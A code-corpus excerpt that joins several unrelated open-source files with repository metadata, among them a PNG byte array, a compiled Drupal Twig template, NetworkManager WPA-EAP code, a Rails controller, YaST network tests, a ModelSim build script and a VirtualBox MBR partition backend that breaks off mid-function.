0x35, 0xee, 0x4e, 0x55, 0xf7, 0x8c, 0xf7, 0x7e, 0xe4, 0x68, 0x2e, 0xf0, 0x43, 0x4f, 0x60, 0xd3,
0xa0, 0x98, 0x95, 0x78, 0x60, 0x81, 0x73, 0x70, 0x11, 0x44, 0xa0, 0x11, 0x9c, 0x94, 0x6f, 0x46,
0x10, 0x07, 0x17, 0x47, 0x5b, 0x41, 0x06, 0x6c, 0x60, 0x0c, 0x84, 0x21, 0x06, 0x62, 0xe0, 0x2a,
0x54, 0x19, 0x30, 0xc3, 0x58, 0x18, 0x03, 0x2e, 0x13, 0xe6, 0x8a, 0x18, 0x1d, 0xa6, 0x7f, 0xbf,
0xd3, 0xf5, 0xce, 0x54, 0x27, 0xfb, 0xd2, 0x00, 0x16, 0x33, 0xbd, 0xe5, 0xfa, 0xee, 0x1d, 0xf2,
0xe6, 0x1f, 0x9e, 0x60, 0x86, 0xa1, 0x26, 0x1b, 0x8b, 0xd4, 0x74, 0x1d, 0x59, 0xb7, 0x0b, 0xaa,
0x33, 0xc4, 0xa6, 0x8d, 0x2a, 0x7d, 0x41, 0xed, 0x10, 0xcf, 0x2f, 0xfa, 0x59, 0xaf, 0x31, 0x5b,
0x44, 0xd6, 0x0b, 0x8e, 0x53, 0xef, 0x51, 0x55, 0xfd, 0xc0, 0x3f, 0x62, 0xd0, 0x9c, 0xbf, 0xc1,
0x04, 0xcf, 0xb0, 0x57, 0xd3, 0xa2, 0xd8, 0x99, 0x96, 0x1d, 0x78, 0x86, 0x88, 0x70, 0x66, 0x8f,
0x3a, 0x1a, 0xec, 0x6c, 0x1e, 0xfa, 0xff, 0x0f, 0x77, 0xc9, 0xf1, 0x3f, 0xb8, 0xa0, 0x01, 0x18,
0x39, 0x7c, 0xcd, 0x15, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82
};
#endif
|
triceratops1/cinelerra
|
cinelerra-4.6/cinelerra-4.6.mod/plugins/translate/picon_png.h
|
C
|
gpl-2.0
| 15,304
|
<?php
/* core/themes/classy/templates/content/links--node.html.twig */
class __TwigTemplate_2808604c1abc1841ee1b275db7f00f52819a8bc5430feb30fc7acaf0e95693c6 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
$this->parent = false;
$this->blocks = array(
);
}
protected function doDisplay(array $context, array $blocks = array())
{
$tags = array("if" => 36, "include" => 38);
$filters = array();
$functions = array();
try {
$this->env->getExtension('Twig_Extension_Sandbox')->checkSecurity(
array('if', 'include'),
array(),
array()
);
} catch (Twig_Sandbox_SecurityError $e) {
$e->setSourceContext($this->getSourceContext());
if ($e instanceof Twig_Sandbox_SecurityNotAllowedTagError && isset($tags[$e->getTagName()])) {
$e->setTemplateLine($tags[$e->getTagName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFilterError && isset($filters[$e->getFilterName()])) {
$e->setTemplateLine($filters[$e->getFilterName()]);
} elseif ($e instanceof Twig_Sandbox_SecurityNotAllowedFunctionError && isset($functions[$e->getFunctionName()])) {
$e->setTemplateLine($functions[$e->getFunctionName()]);
}
throw $e;
}
// line 36
if ((isset($context["links"]) ? $context["links"] : null)) {
// line 37
echo " <div class=\"node__links\">
";
// line 38
$this->loadTemplate("links.html.twig", "core/themes/classy/templates/content/links--node.html.twig", 38)->display($context);
// line 39
echo " </div>
";
}
}
public function getTemplateName()
{
return "core/themes/classy/templates/content/links--node.html.twig";
}
public function isTraitable()
{
return false;
}
public function getDebugInfo()
{
return array ( 50 => 39, 48 => 38, 45 => 37, 43 => 36,);
}
/** @deprecated since 1.27 (to be removed in 2.0). Use getSourceContext() instead */
public function getSource()
{
@trigger_error('The '.__METHOD__.' method is deprecated since version 1.27 and will be removed in 2.0. Use getSourceContext() instead.', E_USER_DEPRECATED);
return $this->getSourceContext()->getCode();
}
public function getSourceContext()
{
return new Twig_Source("", "core/themes/classy/templates/content/links--node.html.twig", "/data/htdocs/html/core/themes/classy/templates/content/links--node.html.twig");
}
}
|
rsathishkumar/edtx
|
sites/default/files/php/twig/5a05b3981ce76_links--node.html.twig_1wXe-HY27nDkstwTVbPk4uUqL/c4djdCkKgs500njO7xqpW_AJv-qVWilgkk4gFFR5464.php
|
PHP
|
gpl-2.0
| 2,761
|
// SPDX-License-Identifier: GPL-2.0+
/* NetworkManager Applet -- allow user control over networking
*
* Dan Williams <dcbw@redhat.com>
*
* Copyright 2007 - 2014 Red Hat, Inc.
*/
#include "nm-default.h"
#include <ctype.h>
#include <string.h>
#include "wireless-security.h"
#include "eap-method.h"
struct _WirelessSecurityWPAEAP {
WirelessSecurity parent;
GtkSizeGroup *size_group;
};
static void
destroy (WirelessSecurity *parent)
{
WirelessSecurityWPAEAP *sec = (WirelessSecurityWPAEAP *) parent;
if (sec->size_group)
g_object_unref (sec->size_group);
}
static gboolean
validate (WirelessSecurity *parent, GError **error)
{
return ws_802_1x_validate (parent, "wpa_eap_auth_combo", error);
}
static void
add_to_size_group (WirelessSecurity *parent, GtkSizeGroup *group)
{
WirelessSecurityWPAEAP *sec = (WirelessSecurityWPAEAP *) parent;
if (sec->size_group)
g_object_unref (sec->size_group);
sec->size_group = g_object_ref (group);
ws_802_1x_add_to_size_group (parent,
sec->size_group,
"wpa_eap_auth_label",
"wpa_eap_auth_combo");
}
static void
fill_connection (WirelessSecurity *parent, NMConnection *connection)
{
NMSettingWirelessSecurity *s_wireless_sec;
ws_802_1x_fill_connection (parent, "wpa_eap_auth_combo", connection);
s_wireless_sec = nm_connection_get_setting_wireless_security (connection);
g_assert (s_wireless_sec);
g_object_set (s_wireless_sec, NM_SETTING_WIRELESS_SECURITY_KEY_MGMT, "wpa-eap", NULL);
}
static void
auth_combo_changed_cb (GtkWidget *combo, gpointer user_data)
{
WirelessSecurity *parent = WIRELESS_SECURITY (user_data);
WirelessSecurityWPAEAP *sec = (WirelessSecurityWPAEAP *) parent;
ws_802_1x_auth_combo_changed (combo,
parent,
"wpa_eap_method_vbox",
sec->size_group);
}
static void
update_secrets (WirelessSecurity *parent, NMConnection *connection)
{
ws_802_1x_update_secrets (parent, "wpa_eap_auth_combo", connection);
}
WirelessSecurityWPAEAP *
ws_wpa_eap_new (NMConnection *connection,
gboolean is_editor,
gboolean secrets_only,
const char *const*secrets_hints)
{
WirelessSecurity *parent;
GtkWidget *widget;
parent = wireless_security_init (sizeof (WirelessSecurityWPAEAP),
validate,
add_to_size_group,
fill_connection,
update_secrets,
destroy,
"/org/freedesktop/network-manager-applet/ws-wpa-eap.ui",
"wpa_eap_notebook",
NULL);
if (!parent)
return NULL;
parent->adhoc_compatible = FALSE;
parent->hotspot_compatible = FALSE;
widget = ws_802_1x_auth_combo_init (parent,
"wpa_eap_auth_combo",
"wpa_eap_auth_label",
(GCallback) auth_combo_changed_cb,
connection,
is_editor,
secrets_only,
secrets_hints);
auth_combo_changed_cb (widget, parent);
return (WirelessSecurityWPAEAP *) parent;
}
|
GNOME/network-manager-applet
|
src/wireless-security/ws-wpa-eap.c
|
C
|
gpl-2.0
| 3,450
|
class TodosController < ApplicationController
before_action :require_user
def index
@todos = Todo.where({:user_id=>@current_user.id})
end
def new
@todo = Todo.new
end
def create
@todo = Todo.new(todo_params)
@todo.user_id = @current_user.id
@todo.save!
redirect_to '/'
end
def edit
@todo = Todo.find(params[:id])
end
def update
@todo = Todo.find(params[:id])
if @todo.update_attributes(todo_params)
redirect_to(:action => 'index')
else
render 'edit'
end
end
def destroy
@todo = Todo.find(params[:id])
@todo.destroy
redirect_to '/'
end
private
def todo_params
params.require(:todo).permit(:content)
end
end
|
sikanrong/fullstackMofoExercises
|
Ruby/07_to_do_list/app/controllers/todos_controller.rb
|
Ruby
|
gpl-2.0
| 719
|
# Copyright (c) [2019] SUSE LLC
#
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2 of the GNU General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, contact SUSE LLC.
#
# To contact SUSE LLC about this file by physical or electronic mail, you may
# find current contact information at www.suse.com.
require_relative "../test_helper"
require "y2network/config"
require "y2network/driver"
require "y2network/routing_table"
require "y2network/interface"
require "y2network/interfaces_collection"
require "y2network/connection_config/bridge"
require "y2network/connection_config/ethernet"
require "y2network/connection_configs_collection"
require "y2network/wicked/config_reader"
require "y2network/wicked/config_writer"
require "y2network/network_manager/config_writer"
describe Y2Network::Config do
before do
Y2Network::Config.reset
end
subject(:config) do
described_class.new(
interfaces: interfaces, connections: connections, routing: routing,
drivers: drivers, source: :wicked
)
end
let(:route1) { Y2Network::Route.new }
let(:route2) { Y2Network::Route.new }
let(:table1) { Y2Network::RoutingTable.new([route1]) }
let(:table2) { Y2Network::RoutingTable.new([route2]) }
let(:eth0) { Y2Network::PhysicalInterface.new("eth0") }
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0]) }
let(:eth0_conn) do
Y2Network::ConnectionConfig::Ethernet.new.tap do |conn|
conn.interface = "eth0"
conn.name = "eth0"
end
end
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn]) }
let(:virtio_net) { Y2Network::Driver.new("virtio_net", "csum=1") }
let(:drivers) { [virtio_net] }
let(:routing) { Y2Network::Routing.new(tables: [table1, table2]) }
describe ".from" do
let(:reader) do
instance_double(
Y2Network::Wicked::ConfigReader, read: Y2Network::IssuesResult.new(config)
)
end
before do
allow(Y2Network::ConfigReader).to receive(:for).with(:wicked)
.and_return(reader)
end
it "returns the configuration from the given reader" do
result = described_class.from(:wicked)
expect(result.config).to eq(config)
end
end
describe ".add" do
it "adds the configuration to the register" do
expect { Y2Network::Config.add(:yast, config) }
.to change { Y2Network::Config.find(:yast) }
.from(nil).to(config)
end
end
describe ".find" do
before do
Y2Network::Config.add(:yast, config)
end
it "returns the registered config with the given ID" do
expect(Y2Network::Config.find(:yast)).to eq(config)
end
context "when a configuration with the given ID does not exist" do
it "returns nil" do
expect(Y2Network::Config.find(:test)).to be_nil
end
end
end
describe "#routes" do
it "returns routes from all tables" do
expect(config.routing.routes).to eq([route1, route2])
end
end
describe "#write" do
let(:wicked_writer) { instance_double(Y2Network::Wicked::ConfigWriter) }
let(:nm_writer) { instance_double(Y2Network::NetworkManager::ConfigWriter) }
before do
allow(Y2Network::ConfigWriter).to receive(:for).with(:wicked)
.and_return(wicked_writer)
allow(Y2Network::ConfigWriter).to receive(:for).with(:network_manager)
.and_return(nm_writer)
end
it "writes the configuration using the writer for the given target" do
expect(nm_writer).to receive(:write).with(config, nil, only: nil)
config.write(target: :network_manager)
end
context "when the original configuration is given" do
let(:original) { instance_double(described_class) }
it "passes that configuration to the writer" do
expect(wicked_writer).to receive(:write).with(config, original, only: nil)
config.write(original: original)
end
end
context "when a set of sections is given" do
it "applies the configuration for those sections only" do
expect(wicked_writer).to receive(:write).with(config, nil, only: [:dns])
config.write(only: [:dns])
end
end
context "when no target is given" do
context "and a backend is set" do
before { config.backend = :network_manager }
it "writes the config using the writer for the backend" do
expect(nm_writer).to receive(:write).with(config, nil, only: nil)
config.write
end
end
context "and no backend is set" do
it "writes the config using the writer for the source" do
expect(wicked_writer).to receive(:write).with(config, nil, only: nil)
config.write
end
end
end
end
describe "#copy" do
it "returns a copy of the object" do
copy = config.copy
expect(copy).to_not be(config)
expect(copy.routing.tables.size).to eq(2)
end
it "returns a copy whose changes won't affect to the original object" do
copy = config.copy
copy.routing.tables.clear
expect(copy.routing.tables).to be_empty
expect(config.routing.tables.size).to eq(2)
end
end
describe "#==" do
let(:bond0) { Y2Network::VirtualInterface.new("bond0") }
let(:bond0_conn) do
Y2Network::ConnectionConfig::Bonding.new.tap do |conn|
conn.interface = "bond0"
conn.name = "bond0"
conn.slaves = ["eth0"]
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, bond0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, bond0_conn]) }
let(:copy) { config.copy }
context "when both configuration contains the same information" do
it "returns true" do
expect(copy).to eq(config)
end
end
context "when interfaces list is different" do
it "returns false" do
copy.interfaces = Y2Network::InterfacesCollection.new([Y2Network::Interface.new("eth1")])
expect(copy).to_not eq(config)
end
end
context "when connection list is different" do
it "returns false" do
modified_bond = copy.connections.by_name("bond0")
modified_bond.options = "mode=active-backup miimon=300"
expect(copy).to_not eq(config)
end
end
context "when routing information is different" do
it "returns false" do
copy.routing.forward_ipv4 = !config.routing.forward_ipv4
expect(copy).to_not eq(config)
end
end
context "when hostname information is different" do
it "returns false" do
copy.hostname.static = "dummy"
expect(copy).to_not eq(config)
end
end
end
describe "#rename_interface" do
it "adjusts the interface name" do
config.rename_interface("eth0", "eth1", :mac)
eth1 = config.interfaces.by_name("eth1")
expect(eth1.renaming_mechanism).to eq(:mac)
end
it "adjusts the connection configurations for that interface" do
config.rename_interface("eth0", "eth1", :mac)
eth1_conns = config.connections.by_interface("eth1")
expect(eth1_conns).to_not be_empty
end
context "when the interface is renamed twice" do
it "adjusts the interface name to the last name" do
config.rename_interface("eth0", "eth1", :mac)
config.rename_interface("eth1", "eth2", :bios_id)
eth2 = config.interfaces.by_name("eth2")
expect(eth2.renaming_mechanism).to eq(:bios_id)
end
it "adjusts the connection configurations for that interface using the last name" do
config.rename_interface("eth0", "eth1", :mac)
config.rename_interface("eth1", "eth2", :mac)
eth2_conns = config.connections.by_interface("eth2")
expect(eth2_conns).to_not be_empty
end
end
context "when the old name is nil" do
it "adjust renaming mechanism only" do
config.rename_interface(nil, "eth0", :mac)
eth1 = config.interfaces.by_name("eth0")
expect(eth1.renaming_mechanism).to eq(:mac)
end
end
context "when dhcp_hostname points to the renamed interface" do
before do
allow(config.hostname).to receive(:dhcp_hostname).and_return("eth0")
end
it "adjusts the dhcp_hostname" do
expect(config.hostname).to receive(:dhcp_hostname=).with("eth1")
config.rename_interface("eth0", "eth1", :mac)
end
end
context "when dhcp_hostname does not point to the renamed interface" do
before do
allow(config.hostname).to receive(:dhcp_hostname).and_return(:any)
end
it "does not adjust the dhcp_hostname" do
expect(config.hostname).to_not receive(:dhcp_hostname=)
config.rename_interface("eth0", "eth1", :mac)
end
end
context "when interface is used in bridge" do
let(:br0) { Y2Network::VirtualInterface.new("br0") }
let(:br0_conn) do
Y2Network::ConnectionConfig::Bridge.new.tap do |conn|
conn.interface = "br0"
conn.name = "br0"
conn.ports = ["eth0"]
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, br0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, br0_conn]) }
it "updates interface name in its ports" do
expect { config.rename_interface("eth0", "eth1", :mac) }.to change { br0_conn.ports }
.from(["eth0"]).to(["eth1"])
end
end
context "when interface is used in bonding" do
let(:bond0) { Y2Network::VirtualInterface.new("bond0") }
let(:bond0_conn) do
Y2Network::ConnectionConfig::Bonding.new.tap do |conn|
conn.interface = "bond0"
conn.name = "bond0"
conn.slaves = ["eth0"]
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, bond0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, bond0_conn]) }
it "updates interface name in its slaves" do
expect { config.rename_interface("eth0", "eth1", :mac) }.to change { bond0_conn.slaves }
.from(["eth0"]).to(["eth1"])
end
end
context "when interface is used in vlan" do
let(:vlan0) { Y2Network::VirtualInterface.new("vlan0") }
let(:vlan0_conn) do
Y2Network::ConnectionConfig::Vlan.new.tap do |conn|
conn.interface = "vlan0"
conn.name = "vlan0"
conn.parent_device = "eth0"
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, vlan0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, vlan0_conn]) }
it "updates interface name in its parent device" do
expect { config.rename_interface("eth0", "eth1", :mac) }.to(
change { vlan0_conn.parent_device }.from("eth0").to("eth1")
)
end
end
end
describe "#add_or_update_connection_config" do
let(:new_conn) do
Y2Network::ConnectionConfig::Ethernet.new.tap do |conn|
conn.interface = "eth2"
end
end
it "adds the connection config" do
config.add_or_update_connection_config(new_conn)
expect(config.connections.by_name(new_conn.name)).to eq(new_conn)
end
context "when a connection config with the same name exists" do
let(:other_conn) do
Y2Network::ConnectionConfig::Ethernet.new.tap do |conn|
conn.interface = "eth2"
end
end
before do
config.add_or_update_connection_config(new_conn)
end
it "updates the connection config" do
config.add_or_update_connection_config(other_conn)
expect(config.connections.by_name(new_conn.name)).to eq(other_conn)
end
end
context "when the interface is missing" do
let(:new_conn) do
Y2Network::ConnectionConfig::Bridge.new.tap do |conn|
conn.interface = "br0"
end
end
it "adds the corresponding interface" do
config.add_or_update_connection_config(new_conn)
expect(config.interfaces.by_name("br0")).to be_a(Y2Network::VirtualInterface)
end
context "and the interface already exists" do
before do
config.interfaces << Y2Network::VirtualInterface.new("br0")
end
it "does not add any interface" do
expect { config.add_or_update_connection_config(new_conn) }
.to_not(change { config.interfaces.size })
end
end
end
end
describe "#delete_interface" do
let(:br0) { Y2Network::VirtualInterface.new("br0") }
let(:br0_conn) do
Y2Network::ConnectionConfig::Bridge.new.tap do |conn|
conn.interface = "br0"
conn.name = "br0"
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, br0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, br0_conn]) }
context "when it is not a physical interface" do
it "removes the connection config" do
expect { config.delete_interface(br0.name) }.to change { config.connections.to_a }
.from([eth0_conn, br0_conn]).to([eth0_conn])
end
it "removes the interface" do
expect { config.delete_interface(br0.name) }.to change { config.interfaces.to_a }
.from([eth0, br0]).to([eth0])
end
end
context "when interface is used in bridge" do
let(:br0) { Y2Network::VirtualInterface.new("br0") }
let(:br0_conn) do
Y2Network::ConnectionConfig::Bridge.new.tap do |conn|
conn.interface = "br0"
conn.name = "br0"
conn.ports = ["eth0"]
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, br0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, br0_conn]) }
it "removes interface from its ports" do
expect { config.delete_interface(eth0.name) }.to change { br0_conn.ports }
.from(["eth0"]).to([])
end
end
context "when interface is used in bonding" do
let(:bond0) { Y2Network::VirtualInterface.new("bond0") }
let(:bond0_conn) do
Y2Network::ConnectionConfig::Bonding.new.tap do |conn|
conn.interface = "bond0"
conn.name = "bond0"
conn.slaves = ["eth0"]
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, bond0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, bond0_conn]) }
it "removes interface from its slaves" do
expect { config.delete_interface(eth0.name) }.to change { bond0_conn.slaves }
.from(["eth0"]).to([])
end
end
context "when interface is used in vlan" do
let(:vlan0) { Y2Network::VirtualInterface.new("vlan0") }
let(:vlan0_conn) do
Y2Network::ConnectionConfig::Vlan.new.tap do |conn|
conn.interface = "vlan0"
conn.name = "vlan0"
conn.parent_device = "eth0"
end
end
let(:interfaces) { Y2Network::InterfacesCollection.new([eth0, vlan0]) }
let(:connections) { Y2Network::ConnectionConfigsCollection.new([eth0_conn, vlan0_conn]) }
it "removes that vlan" do
expect(config).to receive(:delete_interface).with("vlan0")
# allow initial call to delete eth
allow(config).to receive(:delete_interface).and_call_original
config.delete_interface(eth0.name)
end
end
context "when interface is used for configuring hostname via dhcp" do
before do
config.hostname.dhcp_hostname = eth0.name
end
it "sets dns dhcp hostname to :none" do
expect { config.delete_interface(eth0.name) }.to change { config.hostname.dhcp_hostname }
.from("eth0").to(:none)
end
end
context "when it is a physical interface" do
let(:present?) { true }
before do
allow(eth0).to receive(:present?).and_return(present?)
end
it "removes the connection config" do
expect { config.delete_interface(eth0.name) }.to change { config.connections.to_a }
.from([eth0_conn, br0_conn]).to([br0_conn])
end
it "does not remove the interface" do
expect { config.delete_interface(eth0.name) }.to_not(
change { config.interfaces.to_a }
)
end
context "when the interface is not present" do
let(:present?) { false }
it "removes the interface" do
expect { config.delete_interface(eth0.name) }.to change { config.interfaces.to_a }
.from([eth0, br0]).to([br0])
end
end
end
end
describe "#drivers_for_interface" do
let(:e1000) { Y2Network::Driver.new("e1000", "") }
let(:custom) { Y2Network::Driver.new("custom", "") }
let(:drivers) { [virtio_net, e1000, custom] }
before do
allow(eth0).to receive(:drivers).and_return([Y2Network::Driver.new("virtio_net")])
end
it "returns the driver for a given interface" do
drivers = config.drivers_for_interface("eth0")
expect(drivers).to eq([virtio_net])
end
context "when a custom driver is set" do
before do
eth0.custom_driver = custom.name
end
it "includes the custom driver" do
expect(config.drivers_for_interface("eth0"))
.to include(custom)
end
end
end
describe "#add_or_update_driver" do
let(:new_driver) { Y2Network::Driver.new("e1000", "") }
it "adds the driver" do
config.add_or_update_driver(new_driver)
expect(config.drivers).to eq([virtio_net, new_driver])
end
context "when a driver with the same name already exists" do
let(:new_driver) { Y2Network::Driver.new("virtio_net", "csum=0") }
it "replaces the driver with the given one" do
config.add_or_update_driver(new_driver)
expect(config.drivers).to eq([new_driver])
end
end
end
describe "#configured_interface?" do
context "when a connection for the given interface exists" do
it "reeturns true" do
expect(config.configured_interface?("eth0")).to eq(true)
end
end
context "when no connection for the given interface exists" do
it "reeturns false" do
expect(config.configured_interface?("eth9")).to eq(false)
end
end
context "when interface name is nil" do
it "returns false" do
expect(config.configured_interface?(nil)).to eq(false)
end
end
context "when interface name is empty" do
it "returns false" do
expect(config.configured_interface?("")).to eq(false)
end
end
end
describe "#update" do
let(:wlan0) { Y2Network::PhysicalInterface.new("wlan0") }
let(:wlan0_conn) { Y2Network::ConnectionConfig::Wireless.new }
let(:updated_interfaces) { Y2Network::InterfacesCollection.new([wlan0]) }
let(:updated_connections) { Y2Network::ConnectionConfigsCollection.new([wlan0_conn]) }
it "returns an updated configuration" do
new_config = config.update(
interfaces: updated_interfaces,
connections: updated_connections,
source: :network_manager
)
expect(config.interfaces).to eq(interfaces)
expect(new_config.interfaces).to eq(updated_interfaces)
expect(new_config.connections).to eq(updated_connections)
end
end
end
|
mchf/yast-network
|
test/y2network/config_test.rb
|
Ruby
|
gpl-2.0
| 19,802
|
#!/bin/sh
# -----------------------------------------------------------------------------
# -----------------------------------------------------------------------------
# -- --
# -- This file is part of the DE0_Nano_Linux project --
# -- http://www.de0nanolinux.com --
# -- --
# -- Author(s): --
# -- - Helmut, redrocket@gmx.at --
# -- --
# -----------------------------------------------------------------------------
# -- --
# -- Copyright (C) 2015 Authors and www.de0nanolinux.com --
# -- --
# -- This program is free software: you can redistribute it and/or modify --
# -- it under the terms of the GNU General Public License as published by --
# -- the Free Software Foundation, either version 3 of the License, or --
# -- (at your option) any later version. --
# -- --
# -- This program is distributed in the hope that it will be useful, --
# -- but WITHOUT ANY WARRANTY; without even the implied warranty of --
# -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the --
# -- GNU General Public License for more details. --
# -- --
# -- You should have received a copy of the GNU General Public License --
# -- along with this program. If not, see <http://www.gnu.org/licenses/>. --
# -- --
# -----------------------------------------------------------------------------
# -----------------------------------------------------------------------------
src_root=../../src
vlib work
vmap work work
vcom ${src_root}/global_pkg.vhd
vcom ${src_root}/frequency_divider.vhd
vcom ${src_root}/altremote_pulsed.vhd
vcom ${src_root}/altremote_pulsed_tb.vhd
|
DSP-Crowd/software
|
_install/de0_nano/simulation/altremote_pulsed/build.sh
|
Shell
|
gpl-2.0
| 2,449
|
/* $Id: dvmmbr.cpp 56290 2015-06-09 14:01:31Z vboxsync $ */
/** @file
* IPRT Disk Volume Management API (DVM) - MBR format backend.
*/
/*
* Copyright (C) 2011-2015 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free software;
* you can redistribute it and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software
* Foundation, in version 2 as it comes in the "COPYING" file of the
* VirtualBox OSE distribution. VirtualBox OSE is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
*
* The contents of this file may alternatively be used under the terms
* of the Common Development and Distribution License Version 1.0
* (CDDL) only, as it comes in the "COPYING.CDDL" file of the
* VirtualBox OSE distribution, in which case the provisions of the
* CDDL are applicable instead of those of the GPL.
*
* You may elect to license modified versions of this file under the
* terms and conditions of either the GPL or the CDDL or both.
*/
/*******************************************************************************
* Header Files *
*******************************************************************************/
#include <iprt/types.h>
#include <iprt/assert.h>
#include <iprt/mem.h>
#include <iprt/dvm.h>
#include <iprt/string.h>
#include "internal/dvm.h"
/*******************************************************************************
* Structures and Typedefs *
*******************************************************************************/
/**
* MBR volume manager data.
*/
typedef struct RTDVMFMTINTERNAL
{
/** Pointer to the underlying disk. */
PCRTDVMDISK pDisk;
/** Number of initialized partitions. */
uint32_t cPartitions;
/** The raw MBR data. */
uint8_t abMbr[512];
} RTDVMFMTINTERNAL;
/** Pointer to the MBR volume manager. */
typedef RTDVMFMTINTERNAL *PRTDVMFMTINTERNAL;
/**
* MBR volume data.
*/
typedef struct RTDVMVOLUMEFMTINTERNAL
{
/** Pointer to the volume manager. */
PRTDVMFMTINTERNAL pVolMgr;
/** Partition table entry index. */
uint32_t idxEntry;
/** Start offset of the volume. */
uint64_t offStart;
/** Size of the volume. */
uint64_t cbVolume;
/** Pointer to the raw partition table entry. */
uint8_t *pbMbrEntry;
} RTDVMVOLUMEFMTINTERNAL;
/** Pointer to an MBR volume. */
typedef RTDVMVOLUMEFMTINTERNAL *PRTDVMVOLUMEFMTINTERNAL;
/**
* MBR FS type to DVM volume type mapping entry.
*/
typedef struct RTDVMMBRFS2VOLTYPE
{
/** MBR FS Id. */
uint8_t bFsId;
/** DVM volume type. */
RTDVMVOLTYPE enmVolType;
} RTDVMMBRFS2VOLTYPE;
/** Pointer to a MBR FS Type to volume type mapping entry. */
typedef RTDVMMBRFS2VOLTYPE *PRTDVMMBRFS2VOLTYPE;
/*******************************************************************************
* Global Variables *
*******************************************************************************/
/**
* Mapping of FS types to DVM volume types.
*
* From http://www.win.tue.nl/~aeb/partitions/partition_types-1.html
*/
static const RTDVMMBRFS2VOLTYPE g_aFs2DvmVolTypes[] =
{
{ 0x06, RTDVMVOLTYPE_FAT16 },
{ 0x07, RTDVMVOLTYPE_NTFS }, /* Simplification: Used for HPFS, exFAT, ++, too but NTFS is the more common one. */
{ 0x0b, RTDVMVOLTYPE_FAT32 },
{ 0x0c, RTDVMVOLTYPE_FAT32 },
{ 0x82, RTDVMVOLTYPE_LINUX_SWAP },
{ 0x83, RTDVMVOLTYPE_LINUX_NATIVE },
{ 0x8e, RTDVMVOLTYPE_LINUX_LVM },
{ 0xa5, RTDVMVOLTYPE_FREEBSD },
{ 0xa9, RTDVMVOLTYPE_NETBSD },
{ 0xa6, RTDVMVOLTYPE_OPENBSD },
{ 0xaf, RTDVMVOLTYPE_MAC_OSX_HFS },
{ 0xbf, RTDVMVOLTYPE_SOLARIS },
{ 0xfd, RTDVMVOLTYPE_LINUX_SOFTRAID }
};
static DECLCALLBACK(int) rtDvmFmtMbrProbe(PCRTDVMDISK pDisk, uint32_t *puScore)
{
int rc = VINF_SUCCESS;
uint8_t abMbr[512];
*puScore = RTDVM_MATCH_SCORE_UNSUPPORTED;
if (pDisk->cbDisk >= 512)
{
/* Read from the disk and check for the 0x55aa signature at the end. */
rc = rtDvmDiskRead(pDisk, 0, &abMbr[0], sizeof(abMbr));
if ( RT_SUCCESS(rc)
&& abMbr[510] == 0x55
&& abMbr[511] == 0xaa)
*puScore = RTDVM_MATCH_SCORE_SUPPORTED; /* Not perfect because GPTs have a protective MBR. */
}
return rc;
}
static DECLCALLBACK(int) rtDvmFmtMbrOpen(PCRTDVMDISK pDisk, PRTDVMFMT phVolMgrFmt)
{
int rc = VINF_SUCCESS;
PRTDVMFMTINTERNAL pThis = NULL;
pThis = (PRTDVMFMTINTERNAL)RTMemAllocZ(sizeof(RTDVMFMTINTERNAL));
if (pThis)
{
pThis->pDisk = pDisk;
pThis->cPartitions = 0;
/* Read the MBR and count the valid partition entries. */
rc = rtDvmDiskRead(pDisk, 0, &pThis->abMbr[0], sizeof(pThis->abMbr));
if (RT_SUCCESS(rc))
{
uint8_t *pbMbrEntry = &pThis->abMbr[446];
Assert(pThis->abMbr[510] == 0x55 && pThis->abMbr[511] == 0xaa);
for (unsigned i = 0; i < 4; i++)
{
/* The entry is unused if the type contains 0x00. */
if (pbMbrEntry[4] != 0x00)
pThis->cPartitions++;
pbMbrEntry += 16;
}
*phVolMgrFmt = pThis;
}
}
else
rc = VERR_NO_MEMORY;
return rc;
}
static DECLCALLBACK(int) rtDvmFmtMbrInitialize(PCRTDVMDISK pDisk, PRTDVMFMT phVolMgrFmt)
{
int rc = VINF_SUCCESS;
PRTDVMFMTINTERNAL pThis = NULL;
pThis = (PRTDVMFMTINTERNAL)RTMemAllocZ(sizeof(RTDVMFMTINTERNAL));
if (pThis)
{
/* Setup a new MBR and write it to the disk. */
memset(&pThis->abMbr[0], 0, sizeof(pThis->abMbr));
pThis->abMbr[510] = 0x55;
pThis->abMbr[511] = 0xaa;
rc = rtDvmDiskWrite(pDisk, 0, &pThis->abMbr[0], sizeof(pThis->abMbr));
if (RT_SUCCESS(rc))
{
pThis->pDisk = pDisk;
pThis->cPartitions = 0;
*phVolMgrFmt = pThis;
}
else
RTMemFree(pThis);
}
else
rc = VERR_NO_MEMORY;
return rc;
}
static DECLCALLBACK(void) rtDvmFmtMbrClose(RTDVMFMT hVolMgrFmt)
{
